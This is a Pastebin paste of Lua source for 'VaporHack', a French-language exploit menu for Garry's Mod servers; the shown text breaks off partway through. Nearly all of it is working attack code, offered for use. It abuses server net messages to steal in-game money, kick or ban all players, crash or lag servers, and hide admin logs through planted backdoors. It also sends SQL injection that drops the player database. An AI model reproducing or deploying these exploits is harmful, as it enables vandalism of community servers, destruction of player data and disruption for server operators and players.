HENTAI159

DEATH NOTE

Mar 30th, 2018
876
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.36 KB | None | 0 0
  1.  
  2. -- ███▄▄▄▄ ▄██████▄ ▀████ ▐████▀ ▄███████▄ ▄█ ▄██████▄ ▄█ ███
  3. -- ███▀▀▀██▄ ███ ███ ███▌ ████▀ ███ ███ ███ ███ ███ ███ ▀█████████▄
  4. -- ███ ███ ███ ███ ███ ▐███ ███ ███ ███ ███ ███ ███▌ ▀███▀▀██
  5. -- ███ ███ ███ ███ ▀███▄███▀ ███ ███ ███ ███ ███ ███▌ ███ ▀
  6. -- ███ ███ ███ ███ ████▀██▄ ▀█████████▀ ███ ███ ███ ███▌ ███
  7. -- ███ ███ ███ ███ ▐███ ▀███ ███ ███ ███ ███ ███ ███
  8. -- ███ ███ ███ ███ ▄███ ███▄ ███ ███▌ ▄ ███ ███ ███ ███
  9. -- ▀█ █▀ ▀██████▀ ████ ███▄ ▄████▀ █████▄▄██ ▀██████▀ █▀ ▄████▀
  10.  
  11. -- Free Garry's Mod Exploit/Aimbot menu !
  12. -- Go on https://noxploit.pro !
  13.  
  14. if file.Exists( "includes/extensions/client/vehicles.lua", "LUA" ) == false then
  15. MsgC (Color(208, 114, 255), [[
  16. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  17.  
  18. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  19.  
  20. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  21.  
  22. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  23.  
  24. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  25.  
  26. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  27.  
  28. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  29.  
  30. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  31.  
  32. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  33.  
  34. __ __ _____ ____ _____ _ _ _____ _ __
  35. \ \ / //\ | __ \ / __ \ | __ \ | | | | /\ / ____|| |/ /
  36. \ \ / // \ | |__) || | | || |__) || |__| | / \ | | | /
  37. \ \/ // /\ \ | ___/ | | | || _ / | __ | / /\ \ | | | <
  38. \ // ____ \ | | | |__| || | \ \ | | | | / ____ \| |____ | . \
  39. \//_/ \_\|_| \____/ |_| \_\|_| |_|/_/ \_\\_____||_|\_\
  40.  
  41. A HACKING MENU ON GARRYS MOD | BY HOPER
  42.  
  43.  
  44. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  45.  
  46. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  47.  
  48. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  49.  
  50. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  51.  
  52. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  53.  
  54. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  55.  
  56. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  57.  
  58. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  59.  
  60. HOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPERHOPER
  61.  
  62.  
  63. ]])
  64.  
  65. -- POSE DES BASES
  66.  
  67. local Vaporhack = nil
  68. local RatesScaleLevel = LocalPlayer():SteamID()
  69. local VAPOR = {}
  70. VAPOR.memory = {}
  71. local grad = Material( "gui/gradient" )
  72. local upgrad = Material( "gui/gradient_up" )
  73. local downgrad = Material( "gui/gradient_down" )
  74. local ctext = chat.AddText
  75.  
  76.  
  77.  
  78.  
  79. -- FONT
  80.  
  81. surface.CreateFont( "vaporfont20", {
  82. font = "Roboto",
  83. extended = false,
  84. size = 20,
  85. weight = 500,
  86. blursize = 0,
  87. scanlines = 0,
  88. antialias = true,
  89. })
  90.  
  91. surface.CreateFont( "vaporfontlight", {
  92. font = "Roboto",
  93. extended = false,
  94. size = 40,
  95. weight = 20,
  96. blursize = 0,
  97. scanlines = 0,
  98. antialias = true,
  99. })
  100.  
  101. surface.CreateFont( "vaporfonthard", {
  102. font = "Roboto",
  103. extended = false,
  104. size = 13,
  105. weight = 600,
  106. blursize = 0,
  107. scanlines = 0,
  108. antialias = true,
  109. })
  110.  
  111. surface.CreateFont( "vaporfontlogo", {
  112. font = "Arial",
  113. extended = false,
  114. size = 30,
  115. weight = 600,
  116. blursize = 0,
  117. scanlines = 0,
  118. antialias = true,
  119. })
  120.  
  121. surface.CreateFont( "vaporfonthello", {
  122. font = "Roboto",
  123. extended = false,
  124. size = 20,
  125. weight = 600,
  126. blursize = 0,
  127. scanlines = 0,
  128. antialias = true,
  129. })
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136. -- FONCTION DE BASE
  137.  
  138. function VAPOR.ChatText( str )
  139. ctext( Color(208, 114, 255), [[ VaporHack™ : ]]..str )
  140. end
  141. function VAPOR.NetStart( str )
  142. local netstart = net.Start
  143. if Vaporhack and Vaporhack.G and Vaporhack.G.net then
  144. netstart = Vaporhack.G.net.Start
  145. else
  146. end
  147. return netstart( str )
  148. end
  149. function VAPOR.ValidNetString( str )
  150. local netstart = net.Start
  151. if Vaporhack and Vaporhack.G and Vaporhack.G.net then
  152. netstart = Vaporhack.G.net.Start
  153. else
  154. end
  155. local status, error = pcall( netstart, str )
  156. return status
  157. end
  158. function VAPOR.ValidNetString( str )
  159. local status, error = pcall( net.Start, str )
  160. return status
  161. end
  162. VAPOR.sploits = {}
  163. local severitycols = {
  164. [1] = Color( 100, 100, 100 ),
  165. [2] = Color( 100, 100, 100 ),
  166. [3] = Color( 100, 100, 100 ),
  167. [4] = Color( 184, 109, 255 ),
  168. }
  169. function VAPOR.AddExploit( name, tab )
  170. if !isstring( name ) then print("ùùù_ùùù") return end
  171. if !istable( tab ) then print("ùùù_ùùù") return end
  172. VAPOR.sploits[name] = tab
  173. end
  174. function VAPOR.IsStored( addr )
  175. return VAPOR.memory[addr] != nil
  176. end
  177. function VAPOR.GetStored( addr, fallback )
  178. if fallback and VAPOR.memory[addr] == nil then return fallback end
  179. return VAPOR.memory[addr]
  180. end
  181. function VAPOR.Store( addr, val )
  182. VAPOR.memory[addr] = val
  183. end
  184. function VAPOR.GetAllStored()
  185. return VAPOR.memory
  186. end
  187. function VAPOR.GetAllStoredData()
  188. local ret = {}
  189. for k, v in pairs( VAPOR.memory ) do
  190. if !istable( v ) then ret[k] = v end
  191. end
  192. return ret
  193. end
  194. function VAPOR.LoadConfig()
  195. local f = file.Read( "Vaporhack_exploit.dat", "DATA" )
  196. if !f then VAPOR.ChatText( "ùùù_ùùù" ) end
  197. local raw = util.Decompress( f )
  198. local garbage = util.JSONToTable( raw )
  199. table.Merge( VAPOR.memory, garbage )
  200. VAPOR.Menu:Remove()
  201. VAPOR.ChatText( "Fichier de configuration chargé" )
  202. end
  203. function VAPOR.SaveConfig()
  204. local myturds = util.TableToJSON( VAPOR.GetAllStoredData() )
  205. if !myturds then return end
  206. local cumpressed = util.Compress( myturds )
  207. file.Write( "Vaporhack_exploit.dat", cumpressed )
  208. VAPOR.ChatText( "Fichier de configuration sauvegardé" )
  209. end
  210.  
  211.  
  212. -- CREATION DES EXPLOITS
  213.  
  214. VAPOR.AddExploit( "€ Customizable Printers Money Stealer €", {
  215. desc = "Vole instantanément tout l'argent de chaque Printer sur le serveur",
  216. severity = 3,
  217. scan = function() return VAPOR.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
  218. functions = {
  219. { typ = "func", name = "Prendre", func = function()
  220. if !timer.Exists( "Vaporhack_exploit_shekels" ) then
  221. VAPOR.ChatText( "Vole de l'argent lancé" )
  222. timer.Create( "Vaporhack_exploit_shekels", 0.1, 0, function()
  223. for k, v in pairs(ents.GetAll()) do
  224. if( v:GetClass():find("print") ) then
  225. VAPOR.NetStart( "SyncPrinterButtons76561198056171650" )
  226. net.WriteEntity(v)
  227. net.WriteUInt(2, 4)
  228. net.SendToServer()
  229. end
  230. end
  231. end)
  232. else
  233. timer.Remove( "Vaporhack_exploit_shekels" )
  234. VAPOR.ChatText( "Vole de l'argent stoppé" )
  235. end
  236. end, },
  237. },
  238. } )
  239.  
  240.  
  241. VAPOR.AddExploit( "Turbo Erreur", {
  242. desc = "Défonce le serveur rcon avec des erreurs massive.",
  243. severity = 2,
  244. scan = function() return VAPOR.ValidNetString( "steamid2" ) end,
  245. functions = {
  246. { typ = "func", name = "Big Spam", func = function()
  247. if !timer.Exists( "Vaporhack_exploit_errorzt" ) then
  248. VAPOR.ChatText( "erreur spam lancé" )
  249. timer.Create( "Vaporhack_exploit_errorzt", 0, 0, function()
  250. for i = 1, 100 do
  251. VAPOR.NetStart( "steamid2" )
  252. net.WriteString( "Something is creating very strong script errors" )
  253. net.SendToServer()
  254. end
  255. end)
  256. else
  257. timer.Remove( "Vaporhack_exploit_errorzt" )
  258. VAPOR.ChatText( "erreur spam stoppé" )
  259. end
  260. end, },
  261. },
  262. } )
  263. local vaporhacknet = ""
  264. if VAPOR.ValidNetString( "Sandbox_ArmDupe" ) then
  265. vaporhacknet = "Sandbox_ArmDupe"
  266. else
  267. if VAPOR.ValidNetString( "Fix_Keypads" ) then
  268. vaporhacknet = "Fix_Keypads"
  269. else
  270. if VAPOR.ValidNetString( "Remove_Exploiters" ) then
  271. vaporhacknet = "Remove_Exploiters"
  272. else
  273. if VAPOR.ValidNetString( "noclipcloakaesp_chat_text" ) then
  274. vaporhacknet = "noclipcloakaesp_chat_text"
  275. else
  276. if VAPOR.ValidNetString( "_Defqon" ) then
  277. vaporhacknet = "_Defqon"
  278. else
  279. if VAPOR.ValidNetString( "_CAC_ReadMemory" ) then
  280. vaporhacknet = "_CAC_ReadMemory"
  281. else
  282. if VAPOR.ValidNetString( "nostrip" ) then
  283. vaporhacknet = "nostrip"
  284. else
  285. if VAPOR.ValidNetString( "LickMeOut" ) then
  286. vaporhacknet = "LickMeOut"
  287. else
  288. if VAPOR.ValidNetString( "MoonMan" ) then
  289. vaporhacknet = "MoonMan"
  290. if VAPOR.ValidNetString( "Im_SOCool" ) then
  291. vaporhacknet = "Im_SOCool"
  292. end
  293. end
  294. end
  295. end
  296. end
  297. end
  298. end
  299. end
  300. end
  301. end
  302.  
  303.  
  304. VAPOR.AddExploit( "Welcome to Hell guys", {
  305. desc = "Mesdames et Messieurs, j'ai l'honneur de vous présentez *tambour*, ElFamosoBackdoor !",
  306. severity = 4,
  307. scan = function() return VAPOR.ValidNetString( vaporhacknet ) end,
  308. functions = {
  309. { typ = "func", name = "LOG OFF", func = function()
  310. VAPOR.NetStart(vaporhacknet)
  311. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  312. net.WriteBit(1)
  313. net.SendToServer()
  314. end, },
  315.  
  316. { typ = "htxcommandeliste", name = "exe" },
  317.  
  318. },
  319. } )
  320.  
  321.  
  322. VAPOR.AddExploit( "☢ Niquer la base de donné SQL ☢", {
  323. desc = "Vandalisez la base de données darkrp master SQL, effaçant toutes les données des joueurs, vous devez être superamin !!",
  324. severity = 4,
  325. scan = function() return VAPOR.ValidNetString( "pplay_sendtable" ) end,
  326. functions = {
  327. { typ = "func", name = "Lancer", func = function()
  328. local tbl = {}
  329. tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  330. tbl.ply = LocalPlayer()
  331. VAPOR.NetStart("pplay_sendtable")
  332. net.WriteTable(tbl)
  333. net.SendToServer()
  334. VAPOR.ChatText( "Base de données SQL Server détruite" )
  335. end, },
  336. },
  337. } )
  338.  
  339.  
  340. VAPOR.AddExploit( "Niquer les Data du serveur", {
  341. desc = "Vandalise le data du serveur, va probablement ennuyer leurs fils de pute de dev x)",
  342. severity = 3,
  343. scan = function() return VAPOR.ValidNetString( "WriteQuery" ) end,
  344. functions = {
  345. { typ = "func", name = "Lancer", func = function()
  346. if !timer.Exists( "Vaporhack_exploit_datatrasher" ) then
  347. VAPOR.ChatText( "Démarrage du spam du dossier data" )
  348. timer.Create( "Vaporhack_exploit_datatrasher", 0.5, 0, function()
  349. VAPOR.NetStart( "WriteQuery" )
  350. net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
  351. net.SendToServer()
  352. end)
  353. else
  354. timer.Remove( "Vaporhack_exploit_datatrasher" )
  355. VAPOR.ChatText( "Spam du dossier data Stopper" )
  356. end
  357. end, },
  358. },
  359. } )
  360.  
  361. -- Patch
  362.  
  363. --[[VAPOR.AddExploit( "Turbo Chat Spam", {
  364. desc = "Gros spam, extrêmement ennuyeux",
  365. severity = 1,
  366. scan = function() return VAPOR.ValidNetString( "VJSay" ) end,
  367. functions = {
  368. { typ = "string", name = "Entrer un message", default = "VaporhackMenu", addr = "vj_spamstring" },
  369. { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  370. { typ = "func", name = "Big Spam", func = function()
  371. if !timer.Exists( "bigspamsvj" ) then
  372. VAPOR.ChatText( "big spam lancé" )
  373. timer.Create( "bigspamsvj", 0.1, 0, function()
  374. for k, v in pairs( player.GetAll() ) do
  375. VAPOR.NetStart( "VJSay" )
  376. net.WriteEntity( v )
  377. net.WriteString( VAPOR.GetStored( "vj_spamstring", "ACHETER LE @Vaporhack AJOUTEZ SUPREMACIST" ) )
  378. if VAPOR.GetStored( "vj_spamsound", "" ) != "" then
  379. net.WriteString( VAPOR.GetStored( "vj_spamsound", "" ) )
  380. end
  381. net.SendToServer()
  382. end
  383. end)
  384. else
  385. timer.Remove( "bigspamsvj" )
  386. VAPOR.ChatText( "big spam stoppé" )
  387. end
  388. end, },
  389. },
  390. } )--]]
  391.  
  392.  
  393.  
  394.  
  395. VAPOR.AddExploit( "€ Deposit Money €", {
  396. desc = "Exploit d'argent avec les ATM Deposit Money",
  397. severity = 2,
  398. scan = function() return VAPOR.ValidNetString( "DepositMoney" ) end,
  399. functions = {
  400. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" },
  401. { typ = "func", name = "Lancer", func = function()
  402. for k,v in pairs(ents.GetAll()) do
  403. swag = v
  404. end
  405. for k,v in pairs(player.GetAll()) do
  406. VAPOR.NetStart( "DepositMoney" )
  407. net.WriteEntity(swag)
  408. net.WriteString(-VAPOR.GetStored( "montant_argent7" ))
  409. net.WriteEntity(v)
  410. net.SendToServer()
  411. end
  412. end, },
  413. },
  414. } )
  415.  
  416.  
  417.  
  418.  
  419.  
  420. VAPOR.AddExploit( "Mettre le Feu", {
  421. desc = "Mettre les props/joueur en feu. RIP JOHNNY.",
  422. severity = 3,
  423. scan = function() return VAPOR.ValidNetString( "drugs_ignite" ) end,
  424. functions = {
  425. { typ = "func", name = "Feux Props", func = function()
  426. VAPOR.NetStart("drugs_ignite")
  427. net.WriteString("prop_physics")
  428. net.SendToServer()
  429. end, },
  430. { typ = "func", name = "Feux Joueurs", func = function()
  431. VAPOR.NetStart("drugs_ignite")
  432. net.WriteString("player")
  433. net.SendToServer()
  434. end, },
  435. },
  436. } )
  437.  
  438.  
  439. VAPOR.AddExploit( "Modifier la Vie", {
  440. desc = "Changer la vie des joueurs",
  441. severity = 2,
  442. scan = function() return VAPOR.ValidNetString( "drugseffect_hpremove" ) end,
  443. functions = {
  444. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
  445. { typ = "func", name = "Vie Normal", func = function()
  446. VAPOR.NetStart("drugseffect_hpremove")
  447. net.WriteString(VAPOR.GetStored( "montant_argent15" ))
  448. net.SendToServer()
  449. end, },
  450. },
  451. } )
  452.  
  453.  
  454. VAPOR.AddExploit( "Teleportation", {
  455. desc = "Teleport les joueurs que vous regarder au spawn)",
  456. severity = 2,
  457. scan = function() return VAPOR.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
  458. functions = {
  459. { typ = "func", name = "Teleport", func = function()
  460. VAPOR.NetStart("DarkRP_Kun_ForceSpawn")
  461. net.SendToServer()
  462. end, },
  463. },
  464. } )
  465.  
  466.  
  467. VAPOR.AddExploit( "Supprimer les props 2", {
  468. desc = "Je sait pas ce que ça fait (ça fait surement respawn les joueurs que vous visez ou un truc comme ça ^^'')",
  469. severity = 2,
  470. scan = function() return VAPOR.ValidNetString( "drugs_text" ) end,
  471. functions = {
  472. { typ = "func", name = "Supprimer", func = function()
  473. VAPOR.NetStart("drugs_text")
  474. net.WriteString("prop_physics")
  475. net.SendToServer()
  476. end, },
  477. },
  478. } )
  479.  
  480.  
  481. VAPOR.AddExploit( "Kick 3", {
  482. desc = "Exploit pour kick touts les joueurs",
  483. severity = 3,
  484. scan = function() return VAPOR.ValidNetString( "NLRKick" ) end,
  485. functions = {
  486. { typ = "players", addr = "l_players_listing515" },
  487. { typ = "func", name = "Kick", func = function()
  488. local t = VAPOR.GetStored( "l_players_listing515", {} )
  489. for k, v in pairs( player.GetAll() ) do
  490. if !table.HasValue( t, v ) then continue end
  491. VAPOR.NetStart("NLRKick")
  492. net.WriteEntity(v)
  493. net.SendToServer()
  494. end
  495. end, },
  496. },
  497. } )
  498.  
  499.  
  500. VAPOR.AddExploit( "Kick 2", {
  501. desc = "Exploit pour kick",
  502. severity = 3,
  503. scan = function() return VAPOR.ValidNetString( "RecKickAFKer" ) end,
  504. functions = {
  505. { typ = "players", addr = "l_players_listing2545" },
  506. { typ = "func", name = "Kick", func = function()
  507. local t = VAPOR.GetStored( "l_players_listing2545", {} )
  508. for k, v in pairs( player.GetAll() ) do
  509. if !table.HasValue( t, v ) then continue end
  510. VAPOR.NetStart("RecKickAFKer")
  511. net.WriteEntity(v)
  512. net.SendToServer()
  513. end
  514. end, },
  515. },
  516. } )
  517.  
  518.  
  519. VAPOR.AddExploit( "Loot Items", {
  520. desc = "Auto-Loot des items",
  521. severity = 2,
  522. scan = function() return VAPOR.ValidNetString( "GMBG:PickupItem" ) end,
  523. functions = {
  524. { typ = "func", name = "Loot", func = function()
  525. for k, v in pairs(ents.GetAll()) do
  526. if v:GetClass() == "item_loot" then
  527. VAPOR.NetStart("GMBG:PickupItem")
  528. net.WriteEntity(v)
  529. net.SendToServer()
  530. VAPOR.NetStart("GMBG:PickupItem")
  531. net.WriteEntity(v)
  532. net.SendToServer()
  533. VAPOR.NetStart("GMBG:PickupItem")
  534. net.WriteEntity(v)
  535. net.SendToServer()
  536. VAPOR.NetStart("GMBG:PickupItem")
  537. net.WriteEntity(v)
  538. net.SendToServer()
  539. VAPOR.NetStart("GMBG:PickupItem")
  540. net.WriteEntity(v)
  541. net.SendToServer()
  542. VAPOR.NetStart("GMBG:PickupItem")
  543. net.WriteEntity(v)
  544. net.SendToServer()
  545. end
  546. end
  547. end, },
  548. },
  549. } )
  550.  
  551.  
  552. VAPOR.AddExploit( "Kick tout le monde", {
  553. desc = "Exploit pour kick touts les joueurs",
  554. severity = 3,
  555. scan = function() return VAPOR.ValidNetString( "DL_Answering" ) end,
  556. functions = {
  557. { typ = "func", name = "Kick", func = function()
  558. if !timer.Exists( "kickallnoob" ) then
  559. VAPOR.ChatText( "Kick tout le monde lancé" )
  560. timer.Create( "kickallnoob", 0.05, 0, function()
  561. for i = 1, 2000 do
  562. VAPOR.NetStart("DL_Answering")
  563. net.SendToServer()
  564. end
  565. end)
  566. else
  567. timer.Remove( "kickallnoob" )
  568. VAPOR.ChatText( "Kick tout le monde stoppé" )
  569. end
  570. end, },
  571. },
  572. } )
  573.  
  574.  
  575. VAPOR.AddExploit( "Kick 1", {
  576. desc = "Exploit pour kick les Admins",
  577. severity = 3,
  578. scan = function() return VAPOR.ValidNetString( "plyWarning" ) end,
  579. functions = {
  580. { typ = "players", addr = "l_players_listing255" },
  581. { typ = "func", name = "Kick", func = function()
  582. local t = VAPOR.GetStored( "l_players_listing255", {} )
  583. for k, v in pairs( player.GetAll() ) do
  584. if !table.HasValue( t, v ) then continue end
  585. VAPOR.NetStart('plyWarning')
  586. net.WriteEntity(v)
  587. net.WriteString('You have to select a player before doing a action.')
  588. net.SendToServer()
  589. VAPOR.ChatText("Tentative de kick sur ".. v:Nick().. "!")
  590. end
  591. end, },
  592. },
  593. } )
  594.  
  595.  
  596. VAPOR.AddExploit( "NLR Freeze", {
  597. desc = "Exploit pour freeze des joueurs",
  598. severity = 3,
  599. scan = function() return VAPOR.ValidNetString( "NLR.ActionPlayer" ) end,
  600. functions = {
  601. { typ = "players", addr = "l_players_listing45" },
  602. { typ = "func", name = "Freeze", func = function()
  603. local t = VAPOR.GetStored( "l_players_listing45", {} )
  604. for k, v in pairs( player.GetAll() ) do
  605. if !table.HasValue( t, v ) then continue end
  606. VAPOR.NetStart("NLR.ActionPlayer")
  607. net.WriteEntity(v)
  608. net.SendToServer()
  609. end
  610. end, },
  611. },
  612. } )
  613.  
  614.  
  615. VAPOR.AddExploit( "Supprimer les props 1", {
  616. desc = "Supprimer touts les props du serveur x)",
  617. severity = 2,
  618. scan = function() return VAPOR.ValidNetString( "timebombDefuse" ) end,
  619. functions = {
  620. { typ = "func", name = "Supprimer", func = function()
  621. for k,v in pairs(ents.GetAll()) do
  622. VAPOR.NetStart("timebombDefuse")
  623. net.WriteEntity(v)
  624. net.WriteBool(true)
  625. net.SendToServer()
  626. end
  627. end, },
  628. },
  629. } )
  630.  
  631.  
  632.  
  633. VAPOR.AddExploit( "Changer de Skin", {
  634. desc = "Changer de skin",
  635. severity = 1,
  636. scan = function() return VAPOR.ValidNetString( "bodyman_model_change" ) end,
  637. functions = {
  638. { typ = "func", name = "Changer", func = function()
  639. PlayerModels = {0,1,2,3,4,5,6}
  640. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  641. Legs = {0,1,2,3,4,5,6}
  642. Hands = {0,1,2}
  643. Glasses = {0,1}
  644. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  645. PM = PM+1
  646. TS = TS+1
  647. LG = LG+1
  648. HN = HN+1
  649. GL = GL+1
  650. SK = SK+1
  651. if (PM>#PlayerModels) then PM=1 end
  652. if (SK>#Skins) then SK=1 end
  653. if (HN>#Hands) then HN=1 end
  654. if (TS>#Torso) then TS=1 end
  655. if (GL>#Glasses) then GL=1 end
  656. if (LG>#Legs) then LG=1 end
  657. VAPOR.NetStart("bodyman_model_change")
  658. net.WriteInt(PlayerModels[PM], 10 )
  659. net.SendToServer()
  660. VAPOR.NetStart("bodygroups_change")
  661. net.WriteTable( { 1, Torso[TS] } )
  662. net.SendToServer()
  663. VAPOR.NetStart("bodygroups_change")
  664. net.WriteTable( { 2, Legs[LG] } )
  665. net.SendToServer()
  666. VAPOR.NetStart("bodygroups_change")
  667. net.WriteTable( { 3, Hands[HN] } )
  668. net.SendToServer()
  669. VAPOR.NetStart("bodygroups_change")
  670. net.WriteTable( { 4, Glasses[GL] } )
  671. net.SendToServer()
  672. end, },
  673. },
  674. } )
  675.  
  676.  
  677.  
  678. VAPOR.AddExploit( "Anti-Printer", {
  679. desc = "Appliquez des dommages constants aux Printers à proximité",
  680. severity = 1,
  681. scan = function() return VAPOR.ValidNetString( "customprinter_get" ) end,
  682. functions = {
  683. { typ = "func", name = "Lancer", func = function()
  684. if !timer.Exists( "Vaporhack_exploit_printersmasher" ) then
  685. VAPOR.ChatText( "Anti-Printer lancé" )
  686. timer.Create( "Vaporhack_exploit_printersmasher", 0, 0, function()
  687. for k, v in pairs( ents.GetAll() ) do
  688. if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
  689. VAPOR.NetStart("customprinter_get")
  690. net.WriteEntity(v)
  691. net.WriteString("onoff")
  692. net.SendToServer()
  693. end
  694. end
  695. end)
  696. else
  697. timer.Remove( "Vaporhack_exploit_printersmasher" )
  698. VAPOR.ChatText( "Anti-Printer stoppé" )
  699. end
  700. end, },
  701. },
  702. } )
  703.  
  704.  
  705. VAPOR.AddExploit( "Crash le Serveur", {
  706. desc = "Comme sont nom l'indique niquez moi ce serveur de la",
  707. severity = 3,
  708. scan = function() return VAPOR.ValidNetString( "textstickers_entdata" ) end,
  709. functions = {
  710. { typ = "func", name = "Crash", func = function()
  711. VAPOR.NetStart( "textstickers_entdata" )
  712. net.WriteUInt( 0xFFFFFFF, 32 )
  713. net.SendToServer()
  714. end, },
  715. },
  716. } )
  717.  
  718.  
  719. VAPOR.AddExploit( "Munition Gratuit", {
  720. desc = "Vous donne des munition pour toutes vos armes",
  721. severity = 1,
  722. scan = function() return VAPOR.ValidNetString( "TCBBuyAmmo" ) end,
  723. functions = {
  724. { typ = "func", name = "Prendre", func = function()
  725. for k,v in pairs(GAMEMODE.AmmoTypes) do
  726. VAPOR.NetStart("TCBBuyAmmo")
  727. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  728. net.SendToServer()
  729. end
  730. end, },
  731. },
  732. } )
  733.  
  734.  
  735. VAPOR.AddExploit( "€ Advanced Money Printer €", {
  736. desc = "Voler tout l'argent des printers",
  737. severity = 3,
  738. scan = function() return VAPOR.ValidNetString( "DataSend" ) end,
  739. functions = {
  740. { typ = "func", name = "Prendre", func = function()
  741. for k, v in pairs( ents.GetAll() ) do
  742. if v:GetClass() == "adv_moneyprinter" then
  743. VAPOR.NetStart("DataSend")
  744. net.WriteFloat(2)
  745. net.WriteEntity(v)
  746. net.WriteEntity(LocalPlayer())
  747. net.SendToServer()
  748. end
  749. end
  750. end, },
  751. },
  752. } )
  753.  
  754.  
  755. VAPOR.AddExploit( "Ban tout le monde", {
  756. desc = "Ban tout le monde sauf toi",
  757. severity = 3,
  758. scan = function() return VAPOR.ValidNetString( "gBan.BanBuffer" ) end,
  759. functions = {
  760. { typ = "func", name = "Lancer", func = function()
  761. for k,v in pairs(player.GetAll()) do
  762. if v != LocalPlayer() then
  763. VAPOR.NetStart( "gBan.BanBuffer" )
  764. net.WriteBool( true )
  765. net.WriteInt( 0, 32 )
  766. net.WriteString( "Des poutous partout" )
  767. net.WriteString( v:SteamID() )
  768. net.SendToServer()
  769. end
  770. end
  771. end, },
  772. },
  773. } )
  774.  
  775.  
  776. VAPOR.AddExploit( "Lag Exploit #1", {
  777. desc = "Provoque de gros lags sur le serveur version 1",
  778. severity = 2,
  779. scan = function() return VAPOR.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
  780. functions = {
  781. { typ = "func", name = "RollBack", func = function()
  782. if !timer.Exists( "Vaporhack_exploit_lagsploit1" ) then
  783. VAPOR.ChatText( "Lag lancé" )
  784. timer.Create( "Vaporhack_exploit_lagsploit1", 0.02, 0, function()
  785. for k,v in pairs(player.GetAll()) do
  786. VAPOR.NetStart( "ATS_WARP_REMOVE_CLIENT" )
  787. net.WriteEntity( v )
  788. net.WriteString( "adminroom1" )
  789. net.SendToServer()
  790. VAPOR.NetStart( "ATS_WARP_FROM_CLIENT" )
  791. net.WriteEntity( v )
  792. net.WriteString( "adminroom1" )
  793. net.SendToServer()
  794. VAPOR.NetStart( "ATS_WARP_VIEWOWNER" )
  795. net.WriteEntity( v )
  796. net.WriteString( "adminroom1" )
  797. net.SendToServer()
  798. end
  799. end)
  800. else
  801. timer.Remove( "Vaporhack_exploit_lagsploit1" )
  802. VAPOR.ChatText( "Lag stoppé" )
  803. end
  804. end, },
  805. },
  806. } )
  807.  
  808.  
  809. VAPOR.AddExploit( "Spam Console", {
  810. desc = "Spam la console !",
  811. severity = 1,
  812. scan = function() return ULib end,
  813. functions = {
  814. { typ = "func", name = "Big Spam", func = function()
